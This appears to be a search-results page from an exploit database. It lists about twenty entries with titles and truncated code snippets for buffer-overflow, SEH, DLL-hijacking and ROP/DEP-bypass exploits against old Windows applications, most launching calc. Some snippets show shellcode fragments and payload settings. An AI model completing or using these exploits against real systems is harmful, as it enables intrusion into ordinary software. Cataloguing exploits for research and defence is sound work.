470 matches found
Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow Exploit
No description provided by source. !/usr/bin/python Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm POC by Paul Haas at Redspin.com Tested on WinXP SP 2: Launches Calc import socket, struct HOST = '' Localhost PORT = 5900 VNC Server BOFSZ = 1024 Buffer Size HEAD = RFB 003.006\n VNC Header...
MP3Info 0.8.5a - SEH Buffer Overflow Exploit
No description provided by source. Exploit Title: mp3info SEH exploit Date: 18 March 2014 Exploit Author: Ayman Sagy aymansagy at gmail.com Vendor Homepage: http://ibiblio.org/mp3info/ Software Link:...
Destiny Media Player 1.61 - (.pls) Universal Buffer Overflow Exploit (SEH)
No description provided by source. !/usr/bin/perl + Bug : Destiny Media Player 1.61 .pls Universal Buffer overflow SEH + Author : ThE g0bL!N + Greetz : ma 3labaliche :D + Use : open the pls file directly : + Note: His0k4 Merci jamais Raditni win32exec - EXITFUNC=seh CMD=calc Size=160...
Windows Internet Communication Settings DLL Hijacking Exploit (schannel.dll)
No description provided by source. / Exploit Title: Windows Internet Communication Settings DLL Hijacking Exploit schannel.dll Date: 25/08/2010 Author: ALPdaemon Email: ALPdaemon at yahoo dot com Software Link: N/A Tested on: Windows XP SP3 English Extension: .isp / include windows.h int alpdaemo...
FaceBook PhotoUploader <= 5.0.14.0 - Remote Buffer Overflow Exploit
No description provided by source. html head object id=target classid=clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0/object /head body script var shellcode = unescape%u0D0D%u0D0D%u9090%u9090+ //Windows Execute Command calc %ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b+...
GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability
No description provided by source. Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability Date: 2010/11/04 Author: moigai e-mail: [email protected] Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html Version: 1.83a Win32 Release Tested on: Windows XP...
Castripper 2.50.70 - (.pls) stack buffer overflow DEP bypass exploit
No description provided by source. !/usr/bin/python Castripper 2.50.70 .pls stack buffer overflow w/ DEP bypass exploit Author: mrme - https://net-ninja.net - mrme AT corelan.be Download: http://www.mini-stream.net/castripper/ Tested on Wind0ws XP SP3 /noexecute=alwayson Greetz: Corelan Security...
Iconics GENESIS32 9.21.201.01 - Integer overflow
No description provided by source. $Id: iconicsgenbroker.rb 13197 2011-07-17 15:01:46Z sinn3r $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms ...
WinSoftMagic Photo Editor PNG File Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/39354/info WinSoftMagic Photo Editor is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. Successful...
Windows XP PRO SP3 - Full ROP calc shellcode
No description provided by source. / Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f http://www.fuzzysecurity.com/ Notes: This is probably not the most efficient way but I gave the dll's a run for their money ; Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version...
UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
No description provided by source. / Date : May 28th 2007. UltraISO = 8.6.2.2011 local buffer-over flow by n00b You might need to change the jmp esp% adress to your version. Tested on win xp service pack 2 eng executes calc.Don't forget you need to have the bin and cue file in the same Directory...
Mozilla Thunderbird DLL Hijacking Exploit (dwmapi.dll)
No description provided by source. / Exploit Title: Mozilla Thunderbird DLL Hijacking Exploit dwmapi.dll Date: 26/08/2010 Author: h4ck3r47 http://twitter.com/hxteam Version: Latest Mozilla Thunderbird 3.1.2 Tested on: Windows XP SP3 The code is based on the exploit from TheLeader Vulnerable...
A-PDF All to MP3 Converter 1.1.0 Universal Local SEH Exploit
No description provided by source. !/usr/bin/python Exploit Title: A-PDF All to MP3 Converter v.1.1.0 Universal Local SEH Exploit Date: September 18, 2010 Author: modpr0be Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: 1.1.0 Tested on: Windows XP SP3 Open application -- Next...
A-PDF All to MP3 Converter 2.0.0 (.wav) Buffer Overflow (seh)
No description provided by source. Exploit Title: A-PDF All to MP3 Converter v.2.0.0 SEH overflow Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: = 2.0.0 Tested on: Win XP SP2 English Date: 29/01/2011 Author: m0nna Email: [email protected] triggering details: Open the...
Safari JS JITed shellcode - exec calc (ASLR/DEP bypass)
No description provided by source. !-- JIT-SPRAY for Safari 4.0.5 - 5.0.0 JavaScript JIT SHELLCODE and spray for ASLR / DEP bypass Win x32 By Alexey Sintsov from Digital Security Research Group Special for Hack In The Box 2010 Amsterdam PAYLOAD - exec calc Tested on Windows7 and Windows XP. Sorry...
PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
No description provided by source. ?php errorreporting0; PHP 6.0 Dev strtransliterate 0Day Buffer Overflow Exploit Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev Buffer Overflow Bug discovered by Pr0T3cT10n, [email protected] Exploited by TheLeader, Debug SP. Thanks: HDM...
JetAudio 7.1.9.4030 (.m3u) - Universal Stack Overflow Exploit (SEH)
No description provided by source. !/usr/bin/env python JetAudio 7.1.9.4030 Universal Stack Overflow Exploit SEH Coded By: DrIDE Found By: HACK4LOVE Tested on Windows XP SP2 windows/exec - 303 bytes http://www.metasploit.com Encoder: x86/alphaupper EXITFUNC=seh, CMD=calc sc =...
openSUSE Security Update : libreoffice (openSUSE-SU-2012:0433-1)
updated to libreoffice-3.4.5.4 SUSE 3.4.5-rc2 - calc - pie charts colors messed in XLS import fdo40320 - correctly import data point formats in data series fdo40320 - components - crash when parsing XML signatures fdo39657 - broken getDataArray fdo46165, fdo38441, i117010 - don't paint a frame...
MP3Info 0.8.5a - Local Buffer Overflow (SEH)
MP3Info 0.8.5a - Local Buffer Overflow SEH Exploit Title: mp3info SEH exploit Date: 18 March 2014 Exploit Author: Ayman Sagy Vendor Homepage: http://ibiblio.org/mp3info/ Software Link: https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz Version: MP3Info 0.8.5 Teste...
Steinberg MyMp3PRO 5.0 DEP Bypass With ROP
!/usr/bin/ruby Vendor: http://cjcity.ru/soft/35-8.html Software link: http://cjcity.ru/2/downloader.php?id=00000000559 print ''' Steinberg MyMp3PRO v5.0 DEP Bypass with ROP Version: 5.0 Build 5.1.0.21 Date found: 04.12.2013 Exploit Author: metacom Tested on:XP-Sp3-EN ''' sleep3 junk="\x41" 1044 R...